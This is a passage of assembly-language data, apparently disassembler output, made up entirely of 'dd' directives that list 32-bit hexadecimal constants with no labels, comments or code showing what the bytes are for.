		dd 0AC0F23C8h, 102000C9h, 0B6E9DEA3h, 20F79434h, 75002FC0h
		dd 96381C03h, 0AE075Fh,	926D07Eh, 0EBBE2B9Dh, 0E7184F00h
		dd 0B98B8117h, 0E1F90A66h, 0F4E0F3h, 8243EF40h,	0D3F414C3h
		dd 6B595300h, 1CF9E3A1h, 9CEB0099h, 54AADA32h, 0CD001DD4h
		dd 52BE0B7Bh, 0DB5504h,	1159D8A8h, 0A2B5A6E1h, 1CBBC800h
		dd 7B7862DFh, 0CDE200E9h, 183DA397h, 0C73B3EBCh, 0D8EB8276h
		dd 7066136Bh, 990E00D8h, 256DDE4Fh, 0C9077F23h,	291F05DFh
		dd 8ABEEFE0h, 5DCD0713h, 70F90326h, 2A5AEE94h, 0CA8DF028h
		dd 102F4F00h, 0DDC1B56Bh, 7B4113A4h, 0C6D8013Eh, 7DE11E02h
		dd 4ECCCEB4h, 6A84E2B8h, 0B1809847h, 0E8CA0E5h,	88C1002Dh
		dd 2863C71Fh, 120CADBFh, 20EEE889h, 0BBE17C3h, 0F4A040F7h
		dd 6E12DFACh, 0ED7ABA00h, 63C5E51Eh, 0D4DB2465h, 97498700h
		dd 4098F63Ch, 0B211B305h, 0C4E003BFh, 0CF1902C2h, 0CA3D134Bh
		dd 0AD0F7058h, 0FB9781h, 0EDA61D1Bh, 65372426h,	0CB8A4134h
		dd 88FD1041h, 0FFF89Eh,	40B6B109h, 22D98EB8h, 5C1DF370h
		dd 2E47DD63h, 0EB20B7C2h, 0E61FC7BEh, 696500FDh, 77983BA1h
		dd 1624EA8Bh, 3A00608Dh, 48994E0Ah, 0E56E00EBh,	1DCA78AEh
		dd 7C04A6AAh, 0C452CCB8h, 0D3CE84C0h, 0E55401D9h, 0BD4C3B78h
		dd 7E0205Ah, 3D9E7A00h,	90F4570Ah, 2FBB7528h, 8C9088FBh
		dd 7F013146h, 3ED4DFBEh, 0D464839Ch, 3FB205BBh,	90CC678Fh
		dd 4804A05Ch, 1F849300h, 0BA6A47AFh, 3C90030Ch,	7F4DB9AEh
		dd 0DFD81990h, 8D6EEF0Eh, 2DD24130h, 0D034D190h, 763740A7h
		dd 67EC0E7h, 92EC9603h,	0A085D062h, 0BBDE75Fh, 390F8A5h
		dd 0AE0290ECh, 35E682D0h, 2098809Ch, 18B05A8Fh,	58970C93h
		dd 0AC12C0FAh, 3C016016h, 26674962h, 5CB27C20h,	0EC9D303Bh
		dd 88E80448h, 954B815h,	818277A8h, 3A7B2184h, 0E20ED86Ch
		dd 0AD038B55h, 9BC08DE1h, 98005936h, 0FB29111Bh, 0A673BBh
		dd 0B143CCFAh, 593399FEh, 1CD56A00h, 3D03BDF6h,	0A3630215h
		dd 465DCA7Ah, 722742C0h, 6459ED0Fh, 8A67C170h, 0D5ECCF11h
		dd 0CB2E000Fh, 76A6F42Dh, 599842B8h, 1E687900h,	21EA4769h
		dd 9D820BB0h, 0D820C9A4h, 3AB9FAABh, 0F097D0Bh,	8481867h
		dd 546C00D0h, 4A36E514h, 2900DE15h, 34DB184Dh, 0E0135Ch
		dd 0F4215B3Bh, 0F7285F07h, 0DED53800h, 513422A5h, 8D60C136h
		dd 38AFB40Ch, 579C002Ch, 0B19F4214h, 3C550509h,	386BC6Dh
		dd 31753410h, 8B23903h,	2BA5E98Fh, 82CDF08h, 2E402ABCh
		dd 605F11C3h, 2256083Ch, 2033B8BBh, 0E0D190AEh,	5E0875h
		dd 6726127Fh, 5536532Ah, 0BB477B00h, 2DFCA548h,	918F0007h
		dd 956D4A75h, 0B30372BCh, 5639061Ch, 7B380518h,	1F85214h
		dd 364F2A3Ch, 0D01DE342h, 538BF4Eh, 710DC844h, 463DE4D0h
		dd 0B29018E8h, 3645D060h, 6A7FCB07h, 0DD40BE28h, 0F435613Ch
		dd 0A4B7009Bh, 78C03795h, 0E800C632h, 41725D87h, 4B39FEh
		dd 734DEA15h, 9B19A8C4h
		dd 2BBCB40Fh, 0F2F80043h, 10BCE33h, 0C2B50841h,	0DD304039h
		dd 0F38440C8h, 0D3525632h, 16AD00FCh, 0E140286h, 0AAF0E67h
		dd 0A18C19F6h, 86F8D021h, 80B0B938h, 32714709h,	0FC3044h
		dd 0EFAE2757h, 4E339CB4h, 909DB110h, 0F05B607Ah, 0DBB634BDh
		dd 11EE6501h, 8FCF66B5h, 0E78D5980h, 3E7704FDh,	541D11C0h
		dd 0E1A5E5EAh, 38BCC041h, 21490898h, 0EA0056FCh, 1CB0D935h
		dd 7DA937Bh, 0A86BF3A1h, 0C251207Ch, 0C019B24Bh, 5288B099h
		dd 60D520C8h, 5C177816h, 8B010A4Dh, 0C08C4BFCh,	28819B5Dh
		dd 5ADAABADh, 1BD451C6h, 4475200Ch, 31B37703h, 0A3B16F7Ch
		dd 3C21001Fh, 6CBC4A04h, 0F90E250Dh, 0E002CB67h, 32F507B5h
		dd 0CC3814FAh, 1800903Bh, 0B4DF2E72h, 49EEF3C2h, 602FE40Eh
		dd 68AFE001h, 3A6EE1h, 4E2163D1h, 9879399Fh, 841AF61Fh
		dd 0EC8156DEh, 250C4ACh, 3164E0h, 0F42FC947h, 8B0C0753h
		dd 7577FF00h, 3B1ACCC6h, 0CF983E48h, 85FEAC80h,	1B9C5870h
		dd 792A4A00h, 0DD158D0Fh, 0CEBB3FADh, 0EC235E00h, 331B6CB0h
		dd 0C35641Fh, 8E7DC3C0h, 0D4C4DFh, 50DC12F1h, 0B14B662Ch
		dd 0EE592300h, 11ED419Eh, 0D192006Eh, 0DA9ACC42h, 0DF0EC68Bh
		dd 0A0C0D910h, 11303B23h, 3DB20097h, 5D52CFADh,	0D014D4Eh
		dd 2976D102h, 61F2A9BCh, 0ACF05643h, 2D8C1DBEh,	322497h
		dd 9A73176Ah, 160CC90Ch, 8F91548h, 20BD607Fh, 8773C0D4h
		dd 58A54612h, 0AE70AB00h, 303A4B3Eh, 0EE606F91h, 0BE00F5ABh
		dd 0E6B845D4h, 0F08A4433h, 569E0012h, 69B6A913h, 8666B1B9h
		dd 213908h, 665697F0h, 0FBA74A9h, 7E2ACF18h, 0DB8579h
		dd 15CBE7C7h, 720388AFh, 8B61D900h, 7C0E3142h, 0C9BFE2Bh
		dd 68993A4Ah, 59C73288h, 11FD0D2h, 858B2814h, 18814CF5h
		dd 0C0F07B32h, 5F1F0034h, 0D3CD29F7h, 8083118Ch, 0CA37308h
		dd 7B448C11h, 73C100D7h, 0FCA1C9E5h, 80630E54h,	0F28E781h
		dd 0C0B32489h, 1CA66703h, 39B63A0Fh, 12B88005h,	0D075D10Ah
		dd 0C4239CB8h, 17569A01h, 0C41896A9h, 0FC4540h,	8E6C5693h
		dd 36B2C52Fh, 5FC083F9h, 0F8435D7h, 4B7D0FD0h, 5050ADA7h
		dd 0D4EB04BAh, 9B00E0E2h, 0E643C062h, 0C33A44h,	23417DE7h
		dd 0B7A34D50h, 60207B25h, 7EBA8FC6h, 0D71100E9h, 2AFC495Fh
		dd 99028861h, 0EACE95ECh, 87BC6005h, 0C6BC0028h, 0F14FAF3Eh
		dd 5400C207h, 0A5570493h, 5B0CC9Ah, 0BACF270Ch,	240480B4h
		dd 0CE00369Fh, 1B59BF97h, 0FBF33Eh, 274FBB48h, 8D2362F0h
		dd 0E4BC5013h, 543E8E00h, 409545h, 5518D393h, 0CA0C1281h
		dd 8C587E02h, 402C96B8h, 7F372791h, 72BB003Dh, 6CC84C89h
		dd 0B538ACFBh, 0D26B83CFh, 0E04271F3h, 0F8B705A7h, 1AA40EA0h
		dd 0D18792F5h, 8DC5A0DCh, 0C03CCE79h, 58089FF4h, 2170B0FEh
		dd 48C2D52h, 6D47EABh, 0FBE280B6h, 6E388E50h, 87C19EB5h
		dd 71F13C80h, 0FE120A2Ah, 9EEEE7h, 97DD29B4h, 2E83D316h
		dd 0F509D6Fh, 3B962004h, 18312CF3h, 8171B91h, 20C0D306h
		dd 4996245Fh, 6CCE0038h, 0D42B9A4Fh, 0CD0077CBh, 59D99EF0h
		dd 0C628B01h, 7E1E538Eh, 0B1CE96D8h, 70218AA1h,	848DCC40h
		dd 86587BCFh, 7574E44h,	0F4AA8C34h, 0DFCE50F1h,	0D3304869h
		dd 63C92097h, 78D06373h, 7BD88499h, 0D806CEB8h,	2D2BEF26h
		dd 0DD2506F8h, 0C0CA9C05h, 7B00A47Ah, 61423AC8h, 655098B1h
		dd 1D30811h, 830FA488h,	0D216F8C9h, 0E391A000h,	0BBE7CE42h
		dd 1028A32Eh, 4B0B60h, 88219D44h, 3A45736Fh, 9C0FB251h
		dd 2F20D315h, 0D9EF6070h, 0D63C8398h, 0D121818Ch, 0FAB512C5h
		dd 7659FCh, 9431D808h, 0C7399C6Fh, 25F06700h, 2DE13A1Ah
		dd 0B91D0065h, 0A23F9DB3h, 660027AAh, 8118E8DEh, 3033B1h
		dd 0ADC3620Ch, 370FFC40h, 2C0075ECh, 0C246A07Fh, 0B2BB3Eh
		dd 16CA10A8h, 0C4506804h, 1F00547Bh, 0F1780AFBh, 31B44h
		dd 352BDC30h, 57E2D47Bh, 0BE8DBF00h, 0D2EB801Fh, 3C3E0047h
		dd 0A204DD9Ch, 7B0093F2h, 5B92128Ch, 391172F9h,	0FFC3BC4h
		dd 704610AEh, 73F5807Eh, 0DD3C42E4h, 0C9948C03h, 18DC8777h
		dd 20109108h, 3C0041C7h, 0EF46B2Fh, 4458E1h, 7068154Eh
		dd 52FD5784h, 0D517200h, 800AF0FBh, 18F460E1h, 2CC3F5B3h
		dd 4481A60h, 33DADBFh, 9CA9485Dh, 9309AF8h, 45DF21B9h
		dd 144E003Dh, 8F9953A3h, 1FF8766Ah, 8688F51Ah, 80828F91h
		dd 0F0FDE013h, 18A660B3h, 3D4AE5EDh, 93317F60h,	3AE5A5Fh
		dd 0E9BCC10Bh, 830B9F2h, 0D7B2219Eh, 33551C5Bh,	7D670701h
		dd 79062F87h, 3B20603Fh, 31736FE7h, 0E008092Dh,	3C007B77h
		dd 1D0BADA9h, 98D72452h, 0C0F8003Dh, 95D12F56h,	6B1479AAh
		dd 0D848244h, 49847180h, 0CF1001EDh, 0BA002C6Ch, 0D4277856h
		dd 3874E0E7h, 2582527Dh, 0E5718B7Bh, 8411A49Fh,	0D5256080h
		dd 0DA001EC7h, 9D81BE13h, 118A59Ah, 1578BBD6h, 808EB60Ch
		dd 2638A410h, 573C6Bh, 0F146014Eh, 8EA8D5BFh, 0ACEE8200h
		dd 56535D7Eh, 0C8511DD2h, 75BC028h, 1B9BAAD0h, 81F6B100h
		dd 7821C49Fh, 59AD008Eh, 82CF9E3Fh, 3F2FF2Ch, 0D9CED700h
		dd 26DBCA4Ch, 0E8D60987h, 0DE00F612h, 46761C24h, 91055501h
		dd 0A67FD4A5h, 0F88A120h, 0BE5D14DBh, 20B31BA7h, 4BF04422h
		dd 5F47BCA0h, 0E950800h, 8FAE2389h, 10DE1BB9h, 7EA01125h
		dd 0A083712Dh, 2FEAF504h, 3758BACEh, 0B4629700h, 0AD53214h
		dd 881C0BAEh, 0F180E56Eh, 0C347BC3Fh, 184D9E1Eh, 0B8FD01B8h
		dd 0A51F4203h, 3ADB1DF4h, 5802C3Eh, 95AB545Eh, 59901E43h
		dd 77009C7Fh, 4A129802h, 3BFFBB4h, 41A4B026h, 2BA0DA27h
		dd 83309306h, 0C1941148h, 1801006Ah, 26AB19E3h,	0E203915Eh
		dd 9B8AA072h, 2C2900B0h, 7651A90Bh, 0C57DE3EEh,	0EA07E97Ch
		dd 6BDDA846h, 8A8D1761h, 2E78C0h, 35360EAFh, 0C381455h
		dd 0CB263100h, 0F74DE06Fh, 0EDD10027h, 0E93583B9h, 0F204796Dh
		dd 959E1BABh, 0F9BCE680h, 0B32900FFh, 0E2219BF8h, 2660CC2Bh
		dd 0F4866588h, 763900ADh, 73534FCFh, 0F500A3DDh, 4EDFE536h
		dd 0A098152h, 0CCF23454h, 0B73380C8h, 2267B2F4h, 4DA28200h
		dd 52C37269h, 5D1E8E3h,	0B53981F3h, 58DBC092h, 5F000B95h
		dd 2F4B5361h, 7D314Ah, 0AEA4C5A2h, 84B2183Bh, 4FCD1A05h
		dd 0F8439B71h, 988FE22Dh, 16320C7h, 19A4DFE4h, 0D868ED92h
		dd 8133E348h, 0B823708Fh, 0F6140Dh, 0F97A5243h,	0BE950742h
		dd 942FC838h, 0A7F5A1h,	0CE87DA21h, 0E82129Ah, 4658FF5Fh
		dd 7B7A4820h, 0D7026929h, 76036BFCh, 7F47C89h, 10531598h
		dd 186E1002h, 8CA4403h,	0A0E7A565h, 1E386DCh, 0FC2CAF12h
		dd 0CCB9CBBBh, 0AD00F5C1h, 89E8A597h, 0C08E2352h, 211171A8h
		dd 9A002E35h, 42CA3F0Fh, 2ED36556h, 29A6B6h, 306DD55Ch
		dd 6E14C56Ah, 2AB8AFB1h, 92003C02h, 0ED3E98CBh,	32D753h
		dd 2EF012C1h, 0D9207409h, 0A73B51Eh, 29AF3840h,	586EB219h
		dd 0E30313A1h, 443A6104h, 0E00BC8Bh, 5E344ABFh,	931FD0h
		dd 64476AD5h, 31782826h, 1956860Bh, 846D8258h, 0B8DDC0C7h
		dd 269A072Bh, 93BC2789h, 5B908277h, 7572C8CEh, 0D001B707h
		dd 0BC433043h, 71F8C6EBh, 9CF60229h, 0D1AE68FDh, 6500F0A9h
		dd 0BAA5D8CCh, 6478C8E9h, 4CE63824h, 0C4252281h, 11828598h
		dd 5BE4C86Fh, 95CE6DE0h, 0B8802000h, 0F95573E9h, 352F00A0h
		dd 760CEB2Dh, 440026A4h
		dd 0BF378BC6h, 3C142913h, 12BFD686h, 8D50D431h,	0F194605Eh
		dd 4FCC8E06h, 7998F7Eh,	0ECCFED4Eh, 0BB193097h,	100930E7h
		dd 80D8D6h, 9C8B9EB0h, 0E492A9h, 9AE00E23h, 0D16C09ADh
		dd 4D12AA03h, 3E1CE27Ch, 1400A231h, 4A4519B5h, 1B0033CDh
		dd 0B89088EFh, 0CC8B10h, 0A7EC6148h, 3786B905h,	80A1C40Fh
		dd 9CEA002Ch, 0EDE5EAEh, 7D7163BDh, 752406DFh, 0CB0120CDh
		dd 45DD9450h, 5CD46D1Dh, 3370335h, 318A3B11h, 8EE12BE8h
		dd 6AADA407h, 8CD0A589h, 1D27F28h, 9B1A600Dh, 0C5BC8A07h
		dd 0FA882078h, 2B90DE00h, 0C70AA95Ah, 0ED0E245Dh, 0F9778044h
		dd 8C0CFAE3h, 0ABC9F128h, 88846C54h, 3807AD07h,	3092F329h
		dd 7A314005h, 0BBBC074Ch, 0A02F7FE9h, 0A80734F9h, 78008173h
		dd 1C48D7F6h, 4029B8h, 24466975h, 91655088h, 8AF3D00Bh
		dd 0C39D002Ch, 4A8617h,	0D75BFCC8h, 7501533Ch, 2B4F9624h
		dd 0EE33DA01h, 5FF48EC9h, 0ADC80041h, 0E382490Ah, 0A8012BDFh
		dd 0BD8FB4F5h, 88F8F695h, 7EFC1322h, 0B98C40F8h, 0E798C1CEh
		dd 4CD8F24h, 3480149Fh,	698E89ABh, 5D2B02D8h, 0A3DF1C61h
		dd 0FFF23C60h, 58339400h, 18FDBCB4h, 4A7FAFh, 739AD403h
		dd 0C4D643AEh, 3EE28200h, 48C0AD69h, 40B0E8h, 618FB84Ch
		dd 76943489h, 7B161700h, 27531F41h, 59660A63h, 88BCA05Dh
		dd 2F85FAB6h, 0E81C2E0Ah, 0AB3CBE40h, 0C7F1DBh,	70173790h
		dd 92C26443h, 82D16307h, 2D506CB8h, 60DDEB05h, 0AB3E19BAh
		dd 6F906D69h, 46A3C518h, 0EA62B550h, 0A2BB0047h, 59E9FDC3h
		dd 1E004284h, 669A686Ch, 0E22488A9h, 99910011h,	0DE519B9Fh
		dd 8958E1BBh, 0AE1500E5h, 0B44970F1h, 31380EDFh, 0F80034EDh
		dd 0B76EA40Dh, 25202301h, 12782BAFh, 0F1CFF8D7h, 0C53F00DCh
		dd 68148C98h, 0A9E08E1Bh, 5D03D03h, 88DA247Eh, 79DB07h
		dd 0FF6676DDh, 71D982F8h, 891F9600h, 41541DC9h,	3B37397Dh
		dd 0A311A203h, 0D0DF8E99h, 16BFF328h, 0EA766F00h, 39134F40h
		dd 0A0A8008Fh, 45AEDCB3h, 3F001705h, 30826D7Dh,	13EDA92Ch
		dd 0BC1078C1h, 729B1EABh, 9AF7640h, 9AD6B58Eh, 774E00BCh
		dd 9934301Ch, 0A008DBEh, 25CA665Dh, 1C3AC1A9h, 43B587E2h
		dd 77EE680Fh, 742C63C9h, 1B00C368h, 0CBBF62E6h,	0BE1817h
		dd 926B0BECh, 0A0CE91E2h, 14900400h, 12E4FB8Dh,	0D9FA0094h
		dd 0E6DD8B17h, 18B869F0h, 0EEA4C40Eh, 24B6A0D5h, 49662D43h
		dd 60B6083h, 0D820724Bh, 0CFA521F7h, 0A2F9F61Ch, 8218735Dh
		dd 40960129h, 3B7CAA62h, 4F18B674h, 821851Ah, 45FB849h
		dd 8E6A1783h, 0A0578793h, 9469DC26h, 2D289B7Ch,	0B5003C59h
		dd 9F903BCh, 31AD7275h,	1E185EA6h, 72B07E3Ch, 0C9BB002Bh
		dd 0C0F6B8A2h, 54A06907h, 24A0602Dh, 540EED04h,	82E76AB1h
		dd 807407DEh, 33E39514h, 34F0019h, 7D4EB8D8h, 0DB0F8BB7h
		dd 87768820h, 0B5003DC5h, 11749DDh, 0E4FDA9A7h,	0E887CB29h
		dd 0D6008225h, 9F1ECFDCh, 8AF660h, 0D0967E20h, 0FBE0C614h
		dd 0CDDD2E28h, 0A7CB9E00h, 0A50B1089h, 0E7B00EAh, 1B8ED8E7h
		dd 5700422Ah, 0FFD6EB52h, 0C903C0h, 0D8989E40h,	1EB25C19h
		dd 0E8751600h, 0D37DE2AAh, 1EECFCAFh, 4009EE4Dh, 0E6C0D30h
		dd 3B0F80ABh, 80A9EDADh, 21974C53h, 18DB78F7h, 56CB1F51h
		dd 0C7F839D7h, 8A72DD00h, 89C8D95Ah, 0EDA707B1h, 61CD33B5h
		dd 472D7FB9h, 3D6CD1A0h, 0D953F46Fh, 0A0C6A201h, 351A086Bh
		dd 4CF22183h, 0B4F0D1D8h, 0BCA0CAA7h, 0C0A887ADh, 66077120h
		dd 0CD381945h, 12FB9520h, 5427CA6h, 0B49DDFC8h,	0B8C84075h
		dd 786E0627h, 0FA9FCE00h, 3C2E132Fh, 7F603CCh, 0E57F911Eh
		dd 8DA130E8h, 730661C7h, 5CC851A0h, 8767002Dh, 6D0B096Bh
		dd 2C0F03AAh, 40556906h, 7831D9F2h, 97A21D70h, 68B440B5h
		dd 2D451408h, 7DB6501h,	308120F3h, 0FD3BD980h, 1FE37BCAh
		dd 666FBE00h, 27A1704Eh, 0ED430C0Eh, 18369FBDh,	6C06A200h
		dd 1E9A3F20h, 384F0021h, 1D9D609Ch, 800A8F3Dh, 48EAD28h
		dd 0F40358h, 0A05A30A2h, 0BD3331DAh, 96CE2500h,	0F8189B80h
		dd 0E45B74F3h, 61282687h, 0C3651F5Eh, 0B1335C4Eh, 34974816h
		dd 940005ACh, 0B218D3E5h, 0F9008777h, 95FC5001h, 0C08DAD8Ch
		dd 119C8E20h, 5D53C87Dh, 0BCD98420h, 9065BA60h,	99CC5600h
		dd 0D134910Dh, 0E8233C96h, 9325DE00h, 0C1EC8E9Ch, 0FB8C500Ch
		dd 792859F0h, 4DCB000Dh, 34A05298h, 0A174B82Ah,	0F08C2954h
		dd 0D0CCC800h, 3D3257F1h, 0B7EF5h, 0EA0F3F2Ah, 0D7F862F3h
		dd 1C3C2824h, 6A009C22h, 602AB3BAh, 0A8A30CBDh,	6FF4A4h
		dd 0A213D986h, 4AFB3DF9h, 938631DFh, 1FA0B4C0h,	603CF99h
		dd 218B7764h, 6E59A01Fh, 110C07C0h, 0CC74347Bh,	47215208h
		dd 0DF6E510Ch, 146C1h, 9B096EBh, 580B37B9h, 6AC6871Ch
		dd 1C97143Ch, 908500D4h, 1BF825F4h, 54650002h, 57D196CFh
		dd 0FB155FF0h, 18017F7h, 0A26BE7A0h, 0C140BB95h, 32CE1AEh
		dd 954BFADh, 5015F933h,	0B8AC5301h, 0AD5E0719h,	8082EF3Ch
		dd 3B32DD84h, 9C09D17Bh, 202B061Fh, 5699AE44h, 2A170004h
		dd 3FF7ACA8h, 1F81D73h,	5A3034Ch, 2FFD02F8h, 0DBEFFC01h
		dd 0A840A6EBh, 0F22358Ch, 0E73E72ABh, 61159301h, 0EFF0895Dh
		dd 370804F8h, 59CDEC60h, 0AAF29810h, 0D48025C8h, 0C67BCCA4h
		dd 785803B6h, 365D0D98h, 0AB107875h, 93098650h,	94279D2Dh
		dd 0A3FCC3CAh, 0C5811800h, 0F69833F4h, 0B56A002Bh, 2A2808EBh
		dd 515CAB78h, 1B3A0173h, 4FAD04ACh, 0AF5FA886h,	3C158113h
		dd 0FC8A15h, 0FD97C05Ah, 3EB5D8D9h, 6F246696h, 6E5AC01Ch
		dd 0A42107DDh, 76910Fh,	0C86E524Ah, 1522DE1Eh, 0E8E3F10Eh
		dd 1FA0C73h, 9311F709h,	909A3400h, 0DDEE9421h, 0BD4430BBh
		dd 86153DD0h, 0A32351C2h, 4B6448D4h, 2F093817h,	9C9740E3h
		dd 0E040DFBAh, 9E0A5EE0h, 10BA8EAAh, 0CE580E39h, 0FA522165h
		dd 0A8431523h, 0C75904B5h, 0AA054ABh, 0B286D4AAh, 0B0208F11h
		dd 3A2000E6h, 76C913CFh, 0A83C8E5Dh, 0D5017FEEh, 7BBEE174h
		dd 318F7AB5h, 678009AEh, 0AF543816h, 8400137h, 0BD219Ch
		dd 5E4BD5FAh, 2C3E9AAh,	1A27091Bh, 9496A9A8h, 0B0A3E824h
		dd 5A9D3E4Ah, 996F5B4Ch, 63F3FB81h, 0C18A4B0h, 0D002C5BBh
		dd 6E4D3080h, 6C055011h, 4B8A7588h, 0EE00E065h,	0ABC21888h
		dd 15980960h, 70AF2905h, 8C80543Fh, 252DB109h, 8816C2Fh
		dd 8A5E9D3Ch, 9CC29849h, 471FCE80h, 230642Dh, 0E1BEDC36h
		dd 0C060C0FCh, 5F883ADDh, 7BDF28ABh, 0AF20C88h,	98702B69h
		dd 0C83E49h, 4A140ED3h,	0F790D2h, 1F8F376Ah, 25548516h
		dd 52810C99h, 35FBE598h, 39184080h, 0AFCCE2DAh,	0E09B1F0Eh
		dd 2E369EFh, 48BA7D8h, 0AB7C8CADh, 976A9FF8h, 0DCCA7418h
		dd 0C682A000h, 5C5038h,	13D6664h, 311A099Dh, 14681C3Ch
		dd 0E9813D7h, 439EAB7Ah, 15EDC8h, 388148C1h, 9B7F9712h
		dd 8AAF8C37h, 94402C45h, 0DD387956h, 47C6397Eh,	48774280h
		dd 85A4BD89h, 14038A40h, 0F4AEFF59h, 4112304Ch,	0BE7042A6h
		dd 3846B365h, 69D51304h, 59620816h, 0D5FCBB20h,	0CE9D017Fh
		dd 98B4FFAEh, 6EA98110h, 0A863EF1Fh, 0C66DBC8h,	3C19C4BDh
		dd 0DF01EC68h, 0DD51C2BEh, 89C13A88h, 7980F855h, 0B04DF18Ah
		dd 19DF07DCh, 0AFE64A34h, 0DCEAA100h, 65006A70h, 4B9642F8h
		dd 3D11346Dh, 480286CCh
		dd 3FE35A8Dh, 0DF0E08Ch, 508F8540h, 4351A4E5h, 386802ECh
		dd 31579735h, 906F130Dh, 2C02F38h, 0BCB02D4h, 0F881FA18h
		dd 60EB78A3h, 914C1578h, 0AD9603FAh, 0C657043h,	680FB118h
		dd 0DCACCB70h, 13386604h, 20626797h, 387E5520h,	43963A1Ch
		dd 0FEBEA587h, 21B81FF9h, 50F91409h, 811251BCh,	0A09BD518h
		dd 0F804EE10h, 1D0937Ah, 6A66E67h, 8839185Ch, 70727F75h
		dd 0B5046D09h, 4400A088h, 16F6C1Fh, 0D5F95221h,	0E07A103Dh
		dd 4E029ABCh, 0B430CA94h, 9218689Dh, 58135DFDh,	0BC43624h
		dd 898A2576h, 27B406C4h, 77002886h, 161CCDE3h, 5830F9F8h
		dd 0F6BD5C53h, 530D30h,	4C76995Bh, 1A1BD67Ch, 5459022Ch
		dd 24C1C780h, 379467E1h, 0F0D183B8h, 0B73EB381h, 0F4118405h
		dd 9C02A7D9h, 0C0A4147Bh, 0E8523A0h, 0B78EFD99h, 97609623h
		dd 2487A9E9h, 93242194h, 8F0028F2h, 1759D798h, 3ABB302Eh
		dd 72240921h, 0F8876229h, 0B5180DD1h, 56E175Ch,	0B35F4B54h
		dd 8EAE9881h, 0A2BD0410h, 6EB47507h, 5F22D297h,	42A8C641h
		dd 4E37030Eh, 74AC552Eh, 574840C0h, 502A8700h, 0B88830FDh
		dd 4820921Eh, 0FC00E11Fh, 80A78121h, 0FB002C7Fh, 312A3216h
		dd 47554Ah, 19F73F34h, 0C50A1A28h, 0F2B40E50h, 0CF058CE0h
		dd 6034BDABh, 0A469F846h, 0B3A90089h, 116A804Bh, 6B0072DAh
		dd 0D9BAB924h, 1C09B52Bh, 3A190105h, 9C73F094h,	9D8CE062h
		dd 0AC930D20h, 0FFA49013h, 43668060h, 0D53602B3h, 31F01680h
		dd 0B8F8528Dh, 0C286C07Fh, 96170A15h, 84AA29h, 0C8D96FF4h
		dd 0F72ACD4Dh, 0E100B09Ch, 44D2A2A3h, 25932290h, 0B41DA194h
		dd 3A802491h, 9AB6470h,	20582D51h, 9F4113B4h, 9C32B3F1h
		dd 250F1F09h, 44F70423h, 8B5B492Eh, 0C001E30Ah,	1CF8B900h
		dd 0CD025AEh, 3EF7F085h, 36002E29h, 9BF52D71h, 612B10h
		dd 898B1353h, 0F7AD94E7h, 9695501h, 0F0AC8292h,	7C001822h
		dd 0DAA85237h, 0F6003994h, 0ADD6060Ch, 2F0C258h, 2D04AA4Eh
		dd 0C8E9CF62h, 44E187Bh, 405516Eh, 203B3211h, 426E66AEh
		dd 8304F6F8h, 3E37F109h, 5A1D7003h, 173DCC88h, 57318C6Bh
		dd 0A6DA1A01h, 6FD9D4F2h, 0BF0F6400h, 10746A9h,	0AA1B28B9h
		dd 4CA8779Ch, 0E710BC98h, 0D1AD0745h, 89B5BB25h, 9082D80Bh
		dd 0C03F6960h, 92359E61h, 9DE8021Eh, 9472DB00h,	51BD3677h
		dd 51C2C61h, 98784054h,	4B608D2Dh, 6D3D36F8h, 630B1A1Ch
		dd 0EC8420ABh, 385560A4h, 0ACC690CEh, 211160ECh, 86386F02h
		dd 8D547F03h, 0B4425Fh,	7A0F3FA1h, 0E556FDECh, 2649h, 55EA34C4h
		dd 0B6F21Ah, 11726BC9h,	0A0D14538h, 85C6E43Bh, 8BDB81EDh
		dd 0FDAB3090h, 0A34BA4Bh, 5E44BBA3h, 98E49E8Ch,	94FE1858h
		dd 2524EFEh, 3130F2E4h,	0C4C620CCh, 484154Dh, 401FF3FBh
		dd 965E2800h, 244E430Bh, 0EAAA4C00h, 0E0807877h, 0FC402EF4h
		dd 810A6C0h, 0D9010A83h, 0E66162A3h, 74AA897h, 0C6332E70h
		dd 80052017h, 0FB5F22A4h, 46C3203Ch, 1E751C77h,	1D51EA82h
		dd 0D145209h, 8669C45Dh, 0D9BED3B8h, 0D1826700h, 0D4E154A9h
		dd 9C7900C1h, 19B2CDE7h, 5F1CCA73h, 0B9056BBDh,	20D7118Fh
		dd 43210280h, 91627899h, 0AA2CD004h, 7E390086h,	3396D222h
		dd 0C55C9098h, 0A06D104Ch, 0FF1030Fh, 7434D7B2h, 0B1A30755h
		dd 8178C0A9h, 0CF42E22Fh, 0D0F8B618h, 0AB12C739h, 2CCD9888h
		dd 8CF1AC30h, 63CCCA04h, 0EE38E298h, 0EFCCC201h, 895447DFh
		dd 13CFA0D9h, 40657556h, 9FF91504h, 80C3AB91h, 0D653D981h
		dd 20BFF898h, 0F40B4EE1h, 19F10F5h, 5B17EF88h, 6FBA8F10h
		dd 3A84552h, 7DC01060h,	3960AF3Dh, 0E5F60Dh, 374178C3h
		dd 2D45C5EFh, 510BC10Eh, 4ACB2057h, 5BB78Ah, 7C483AE5h
		dd 7B236634h, 0E19D9F07h, 2AB084A8h, 7729FCh, 37D9FEE7h
		dd 78D6D25Eh, 0AEF31207h, 1DE04857h, 5DC1843h, 80ADBC21h
		dd 3D25C00Fh, 1E023511h, 57129BF9h, 814340FDh, 79310093h
		dd 0F11B60Ah, 9A093AD8h, 83D33262h, 309987D8h, 0AD5A59AAh
		dd 7801E7F6h, 9B7534CBh, 9E70E847h, 0A5D2005Fh,	0FFF52F8Ah
		dd 0EF003F74h, 0E3DFF778h, 3CCB3F9h, 0B5799F11h, 0C6C1D083h
		dd 0C8EBA41h, 28A86122h, 42583AFAh, 69D2D501h, 0F0D4963Ch
		dd 0FD036578h, 60170614h, 62F5C0F6h, 0F410C008h, 9F7930CCh
		dd 32CBFC00h, 0DB18C65Fh, 9B80009Ch, 55FEAA82h,	18DFD2DAh
		dd 0A97B36C1h, 998007E0h, 0D6EAFABEh, 2F003C57h, 471508D7h
		dd 0A6A8EBh, 0E997B5CCh, 32B1917Ah, 0D5FE0300h,	61836DDFh
		dd 581A07C6h, 816A6910h, 8C6F92A2h, 196C2269h, 3E427D81h
		dd 0F900F4C7h, 0D88794ECh, 52000FFCh, 0B3CF7DAFh, 0F1ABD7h
		dd 0FFF84ABAh, 37A6D5F3h, 4F19FA00h, 1003E878h,	0EC5301D8h
		dd 399A57C4h, 0CD7BCC34h, 1116C00h, 71F1F96Bh, 279B00B5h
		dd 7E3B2BD0h, 0E400A10Ch, 6685BD8Dh, 0FE210FBh,	0F73CD8E0h
		dd 205DCA1h, 0F0E3FD26h, 0AC0F08C2h, 807F7A17h,	313F777h
